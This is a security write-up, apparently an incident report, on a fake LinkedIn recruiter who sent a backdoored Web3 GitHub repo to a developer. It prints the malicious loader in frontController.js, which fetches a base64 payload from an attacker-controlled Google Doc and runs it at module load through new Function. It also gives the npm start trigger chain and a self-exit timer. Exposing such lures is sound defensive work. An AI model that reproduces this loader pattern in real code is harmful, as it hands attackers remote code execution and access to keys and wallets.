Dev Recruitment
Safeguards

⚙️ How the Contact Happened

"Daniel Perez Valdes" reached out via LinkedIn as a recruiter for a Web3 role. He shared a mutual connection with the target's own Web3 development instructor — a real relationship that lent the outreach credibility. He sent a link to github.com/nitroe1/TokenPromotingDapp, described as an MVP to review before an interview. The repo's front page showed a clean VirusTotal community score. That was the entire trust chain — a real mutual connection, a plausible ask, a clean scan. None of it held up under audit.

🚨 The Confirmed Payload — frontController.js

Buried inside an otherwise-normal-looking Uniswap mempool scanner, a function called verifyToken() fires unconditionally the moment the module loads. In plain terms: it fetches attacker-controlled code from a private Google Doc and runs it — automatically, the instant you start the app.

// frontController.js — runs at module load, i.e. on npm start
async function verifyToken(req, res) {
  try {
    const text = await fetchText();      // fetches a Google Doc
    const decd = dcpayload(text);        // base64-decode it
    const code = extractRunnableJsFromDecoded(decd);
    new Function('axios', 'require', code)(axios, require);  // ⚠️ RCE
  } catch (err) { /* ... */ }
}
verifyToken();  // ← called immediately at module load

Decode chain: fetchText() pulls a separate, private Google Doc the attacker controls → dcpayload() strips whitespace and base64-decodes it → normalized and unwrapped → new Function('axios','require', code)(axios, require) — a direct eval of attacker-controlled code, with axios (network/exfil) and require (load any module) handed to it in scope.

Because the payload lives in a Google Doc the attacker controls independently of the repo, they can change what your machine runs at any time — without touching the code again. The reach: your .env (API keys, any wallet private key you add per the README), browser/wallet data, and a pivot point to scan ~/.ssh and ~/.aws.

🎯 It's Also a Real Sniper Bot

Underneath the backdoor sits a working front-runner: scanMempool, buyOnV3, sell — which requires handing it new ethers.Wallet(amountInfo), where amountInfo is a private key read straight from environment. So running this repo means: (a) your wallet key hot-loaded into a live trading bot, and (b) arbitrary remote code execution the instant the module loads. Package router constants (PAN_ROUTER) and comments referencing "BNB/WBNB" reveal the bot was originally built for PancakeSwap/BSC and rebranded to read "Uniswap" — this is stolen code, not an original MVP. Leftover debugging comments referencing goerli.etherscan.io tx hashes confirm it: another developer's template, repackaged.

📋 Confirmed Evidence Chain

🕵️ Three Spoofed Identities, Not One

Commit authorship spans three different names — one using a forged @uniswap.org-style email tied to a real Uniswap developer's public identity, plus two others. A fourth name appears only in package.json's author field — matching none of the commit authors, and unrelated to "Daniel" or the org name. The commit messages themselves are bot-templated nonsense — "Polish code in Tiers.js," "Update docs in Poppins-Regular.ttf," "Add UI in dextools_icon.svg" — you don't "polish code in" a font file. The entire 3-month commit history was fabricated with repo-aging tooling and pushed in minutes, all timestamped before the repository itself existed.

📜 The License Trail — Stolen Code, Real Victims

Four-way inconsistency, and the fourth one is the true provenance trail: the underlying code was lifted from a real, unrelated company's repository. That company and its named licensor are victims too — the attacker stitched together stolen code from multiple sources plus a backdoored sniper-bot template, then pasted a recruiter front on top.

🔗 The Confirmed Trigger Chain

npm start → node app/index.js → require('./controllers/frontController') executes the module top-to-bottom, hitting the unconditional verifyToken() call. RCE on startup, confirmed end to end. A 5-minute self-destruct timer fires after: boot, run the payload, exfiltrate, exit — before anyone notices the backend died.

// package.json
"start": "npm run check-env && npm run app:pre | react-scripts ... start"
"app:pre": "node app/index.js"

// app/index.js
const fController = require('./controllers/frontController');  // verifyToken() fires on require
...
setTimeout(() => { exitApp(); }, 300000);  // process.exit(0) after 5 minutes